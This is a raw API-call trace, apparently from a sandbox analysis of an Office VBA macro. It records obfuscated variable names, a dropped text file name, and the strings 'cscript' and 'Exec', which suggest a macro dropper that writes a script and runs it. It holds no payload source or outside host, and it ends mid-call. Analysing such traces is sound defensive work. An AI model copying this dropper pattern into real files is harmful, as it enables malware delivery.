[0071.719] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x2885d629828, memid=1610612738, invkind=1, pFuncIndex=0xbcb38f4800 | out: pFuncIndex=0xbcb38f4800*=0x2) returned 0x0 [0071.719] ITypeInfo2:GetFuncCustData (in: This=0x2885d629828, index=0x2, GUID=0x7ff9bdf06f38*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0xbcb38f4818 | out: pVarVal=0xbcb38f4818*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xbc00000002, varVal2=0x308af8)) returned 0x0 [0071.719] IUnknown:Release (This=0x2885d629828) returned 0x1 [0071.719] IUnknown:AddRef (This=0x2885d629828) returned 0x2 [0071.719] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d629828) returned 0x0 [0071.719] IUnknown:Release (This=0x2885d629828) returned 0x1 [0071.719] IUnknown:QueryInterface (in: This=0x2885d629828, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4a88 | out: ppvObject=0xbcb38f4a88*=0x0) returned 0x80004002 [0071.719] IUnknown:AddRef (This=0x2885d629828) returned 0x2 [0071.719] IUnknown:Release (This=0x2885d629828) returned 0x2 [0071.719] IUnknown:QueryInterface (in: This=0x2885d629828, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.719] IUnknown:QueryInterface (in: This=0x2885d629828, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d65bcc4, cbMultiByte=0, lpWideCharStr=0x288618228ec, cchWideChar=2 | out: lpWideCharStr="") returned 0 [0071.720] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629828, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.720] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.720] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.720] IUnknown:Release (This=0x2885d4c6250) returned 0xd [0071.720] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629828, memid=1610612738, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.720] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629828, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.720] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629828, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.720] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2885d425cd0 [0071.720] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d425cd0) returned 0x26d [0071.720] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d425cd0) returned 0x26d [0071.720] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d425cd0) returned 0x26d [0071.720] GetCurrentProcess () returned 0xffffffffffffffff [0071.720] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d425cd0, dwSize=0x4b) returned 1 [0071.720] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d425cd0) [0071.720] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d8ba090 [0071.720] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="PAYQaJenWSLJXvpIWCchY") returned 0x40f497 [0071.720] strcpy_s (in: _Dst=0xbcb38f4900, _DstSize=0x16, _Src="PAYQaJenWSLJXvpIWCchY" | out: _Dst="PAYQaJenWSLJXvpIWCchY") returned 0x0 [0071.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4900, cbMultiByte=22, lpWideCharStr=0xbcb38f4750, cchWideChar=22 | out: lpWideCharStr="PAYQaJenWSLJXvpIWCchY") returned 22 [0071.720] IUnknown:AddRef (This=0x2885d4c6250) returned 0xe [0071.720] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="PAYQaJenWSLJXvpIWCchY", lHashVal=0x40f497, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.720] IUnknown:Release (This=0x2885d4c6250) returned 0xd [0071.720] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.720] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="PAYQaJenWSLJXvpIWCchY", lHashVal=0x40f497, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.720] IUnknown:Release (This=0x28857594370) returned 0xc [0071.720] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.720] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="PAYQaJenWSLJXvpIWCchY", lHashVal=0x40f497, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.720] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.720] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.720] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="PAYQaJenWSLJXvpIWCchY", lHashVal=0x40f497, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.720] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e63d36, cbMultiByte=22, lpWideCharStr=0xbcb38f49a0, cchWideChar=23 | out: lpWideCharStr="PAYQaJenWSLJXvpIWCchY") returned 22 [0071.721] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="PAYQaJenWSLJXvpIWCchY", lHashVal=0x30a3fa, wFlags=0x8, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.721] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1d) returned 0x2885da96390 [0071.721] _mbscpy_s (in: _Dst=0x2885da96390, _DstSizeInBytes=0x16, _Src=0x28860e63d36 | out: _Dst=0x2885da96390) returned 0x0 [0071.721] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_PAYQaJenWSLJXvpIWCchY") returned 0x302364 [0071.721] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0x1d, _Src="_B_var_PAYQaJenWSLJXvpIWCchY" | out: _Dst="_B_var_PAYQaJenWSLJXvpIWCchY") returned 0x0 [0071.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=29, lpWideCharStr=0xbcb38f4900, cchWideChar=29 | out: lpWideCharStr="_B_var_PAYQaJenWSLJXvpIWCchY") returned 29 [0071.721] IUnknown:AddRef (This=0x2885d4c6250) returned 0xe [0071.721] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_PAYQaJenWSLJXvpIWCchY", lHashVal=0x302364, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.721] IUnknown:Release (This=0x2885d4c6250) returned 0xd [0071.721] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.721] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="_B_var_PAYQaJenWSLJXvpIWCchY", lHashVal=0x302364, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.721] IUnknown:Release (This=0x28857594370) returned 0xc [0071.721] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.721] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="_B_var_PAYQaJenWSLJXvpIWCchY", lHashVal=0x302364, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.721] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.721] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.721] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="_B_var_PAYQaJenWSLJXvpIWCchY", lHashVal=0x302364, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.721] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.721] IUnknown:AddRef (This=0x2885d4c6250) returned 0xe [0071.721] IUnknown:Release (This=0x2885d4c6250) returned 0xd [0071.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e7046e, cbMultiByte=29, lpWideCharStr=0xbcb38f4960, cchWideChar=30 | out: lpWideCharStr="_B_var_PAYQaJenWSLJXvpIWCchY") returned 29 [0071.721] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_PAYQaJenWSLJXvpIWCchY", lHashVal=0x302364, wFlags=0x8, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x50005f00720061, ppTypeComp=0x61005100000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x0, pDescKind=0xbcb38f492c*=0, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x50005f00720061, ppTypeComp=0x61005100000000, pDummy=0x0) returned 0x0 [0071.721] _mbscpy_s (in: _Dst=0xbcb38f4b20, _DstSizeInBytes=0x16, _Src=0x28860e63d36 | out: _Dst=0xbcb38f4b20) returned 0x0 [0071.721] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da96390) [0071.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e63d6e, cbMultiByte=26, lpWideCharStr=0xbcb38f47c0, cchWideChar=25 | out: lpWideCharStr="ExpandEnvironmentStrings") returned 0 [0071.723] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885d9c47a0 [0071.723] wcscpy_s (in: _Destination=0x2885d8ba148, _SizeInWords=0x19, _Source="ExpandEnvironmentStrings" | out: _Destination="ExpandEnvironmentStrings") returned 0x0 [0071.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da99a80, cbMultiByte=26, lpWideCharStr=0x288618236aa, cchWideChar=54 | out: lpWideCharStr="\\JoHMwmhDhPJuWqSOTCEMf.txt") returned 26 [0071.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e60d8e, cbMultiByte=9, lpWideCharStr=0xbcb38f49a0, cchWideChar=10 | out: lpWideCharStr="FreeFile") returned 9 [0071.724] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="FreeFile", lHashVal=0x30483a, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x2885d629720, pDescKind=0xbcb38f496c*=1, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x2885d610040, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0071.724] ITypeInfo:RemoteGetTypeAttr (in: This=0x2885d629720, ppTypeAttr=0xbcb38f4960, pDummy=0x2885d65fc10 | out: ppTypeAttr=0xbcb38f4960, pDummy=0x2885d65fc10*=0x5d650000) returned 0x0 [0071.724] ITypeInfo:LocalReleaseTypeAttr (This=0x2885d629720) returned 0x0 [0071.724] IUnknown:QueryInterface (in: This=0x2885d629720, riid=0x7ff9bdefa878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbcb38f47c0 | out: ppvObject=0xbcb38f47c0*=0x2885d629720) returned 0x0 [0071.724] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x2885d629720, memid=1610612754, invkind=1, pFuncIndex=0xbcb38f4800 | out: pFuncIndex=0xbcb38f4800*=0x12) returned 0x0 [0071.724] ITypeInfo2:GetFuncCustData (in: This=0x2885d629720, index=0x12, GUID=0x7ff9bdf06f38*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0xbcb38f4818 | out: pVarVal=0xbcb38f4818*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xbc00000012, varVal2=0x30483a)) returned 0x0 [0071.724] IUnknown:Release (This=0x2885d629720) returned 0x1 [0071.724] IUnknown:AddRef (This=0x2885d629720) returned 0x2 [0071.724] ITypeInfo:LocalReleaseFuncDesc (This=0x2885d629720) returned 0x0 [0071.724] IUnknown:Release (This=0x2885d629720) returned 0x1 [0071.724] IUnknown:QueryInterface (in: This=0x2885d629720, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4a88 | out: ppvObject=0xbcb38f4a88*=0x0) returned 0x80004002 [0071.724] IUnknown:AddRef (This=0x2885d629720) returned 0x2 [0071.724] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885da87fc0, cb=0x40) returned 0x2885dadd1d0 [0071.724] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885da88110, cb=0x50) returned 0x2885daa5e90 [0071.724] IUnknown:Release (This=0x2885d629720) returned 0x2 [0071.724] IUnknown:QueryInterface (in: This=0x2885d629720, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.724] IUnknown:QueryInterface (in: This=0x2885d629720, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.725] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629720, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.725] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.725] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.725] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.725] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629720, memid=1610612754, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.725] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629720, memid=1610612754, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.725] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629720, memid=1610612754, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.725] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2885d426bd0 [0071.725] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d426bd0) returned 0x26d [0071.725] GetCurrentProcess () returned 0xffffffffffffffff [0071.725] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2885d426bd0, dwSize=0x3b) returned 1 [0071.725] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d426bd0) [0071.725] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885da7d860, cb=0x180) returned 0x2885d9dfe40 [0071.725] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x28861830000 [0071.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da99ad6, cbMultiByte=1, lpWideCharStr=0x28861830574, cchWideChar=4 | out: lpWideCharStr=" ") returned 1 [0071.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da99ae4, cbMultiByte=5, lpWideCharStr=0x2886183098c, cchWideChar=12 | out: lpWideCharStr="\"), 0") returned 5 [0071.726] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d659980, cb=0x800) returned 0x2885d0643e0 [0071.726] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885db99af0 [0071.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da99b00, cbMultiByte=26, lpWideCharStr=0x2886183156c, cchWideChar=54 | out: lpWideCharStr="\\JoHMwmhDhPJuWqSOTCEMf.txt") returned 26 [0071.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da99b2c, cbMultiByte=8, lpWideCharStr=0x28861831f3e, cchWideChar=18 | out: lpWideCharStr="cscript ") returned 8 [0071.726] IUnknown:AddRef (This=0x2885d629828) returned 0x3 [0071.726] IUnknown:Release (This=0x2885d629828) returned 0x2 [0071.726] IUnknown:QueryInterface (in: This=0x2885d629828, riid=0x7ff9bdefc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf8 | out: ppvObject=0xbcb38f4bf8*=0x0) returned 0x80004002 [0071.727] IUnknown:QueryInterface (in: This=0x2885d629828, riid=0x7ff9bdeff4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4bf0 | out: ppvObject=0xbcb38f4bf0*=0x0) returned 0x80004002 [0071.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885d65bcc4, cbMultiByte=0, lpWideCharStr=0x288618324c4, cchWideChar=2 | out: lpWideCharStr="") returned 0 [0071.727] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629828, ppTLib=0xbcb38f4430, pIndex=0x0 | out: ppTLib=0xbcb38f4430*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.727] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4440, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4440, pDummy=0x0) returned 0x0 [0071.727] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.727] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.727] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629828, memid=1610612738, invkind=1, refPtrFlags=0xb38f4430, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.727] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629828, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4430, pBstrName=0x0, pwOrdinal=0xbcb38f4450 | out: pBstrDllName=0xbcb38f4430*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4450*=0x46c0) returned 0x0 [0071.727] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629828, memid=1610612738, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4430, pwOrdinal=0x500000000) returned 0x0 [0071.738] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e63e1a, cbMultiByte=6, lpWideCharStr=0xbcb38f47c0, cchWideChar=5 | out: lpWideCharStr="Exec") returned 0 [0071.738] wcscpy_s (in: _Destination=0x2885d8bd638, _SizeInWords=0x5, _Source="Exec" | out: _Destination="Exec") returned 0x0 [0071.738] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e63e42 | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.738] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e63e7a | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.738] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e63eb2 | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.738] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x28861840000 [0071.739] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e63f92 | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.739] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e63fca | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.739] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e7001e | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.739] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885da99c80, cb=0x2320) returned 0x2885d632d70 [0071.740] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d629670, ppTLib=0xbcb38f4030, pIndex=0x0 | out: ppTLib=0xbcb38f4030*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.740] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4040, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4040, pDummy=0x0) returned 0x0 [0071.740] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.740] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.740] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0xb38f4030, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.740] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4030, pBstrName=0x0, pwOrdinal=0xbcb38f4050 | out: pBstrDllName=0xbcb38f4030*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4050*=0x42c0) returned 0x0 [0071.740] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d629670, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4030, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pBstrName=0xbcb38f4030, pwOrdinal=0x500000000) returned 0x0 [0071.740] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x2885d6296c8, ppTLib=0xbcb38f4470, pIndex=0x0 | out: ppTLib=0xbcb38f4470*=0x2885d4c6250, pIndex=0x0) returned 0x0 [0071.740] ITypeLib:RemoteGetLibAttr (in: This=0x2885d4c6250, ppTLibAttr=0xbcb38f4480, pDummy=0x0 | out: ppTLibAttr=0xbcb38f4480, pDummy=0x0) returned 0x0 [0071.740] ITypeLib:LocalReleaseTLibAttr (This=0x2885d4c6250) returned 0x0 [0071.740] IUnknown:Release (This=0x2885d4c6250) returned 0xf [0071.740] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0xb38f4470, pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50 | out: pBstrDllName=0x0, pBstrName=0x0, pwOrdinal=0x2884e5fae50*=0xf3f0) returned 0x0 [0071.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7ff9bdf30b70, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0071.740] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0xbcb38f4470, pBstrName=0x0, pwOrdinal=0xbcb38f4490 | out: pBstrDllName=0xbcb38f4470*=0x0, pBstrName=0x0, pwOrdinal=0xbcb38f4490*=0x4700) returned 0x0 [0071.740] ITypeInfo:RemoteGetDllEntry (in: This=0x2885d6296c8, memid=1610612743, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pBstrName=0xbcb38f4470, 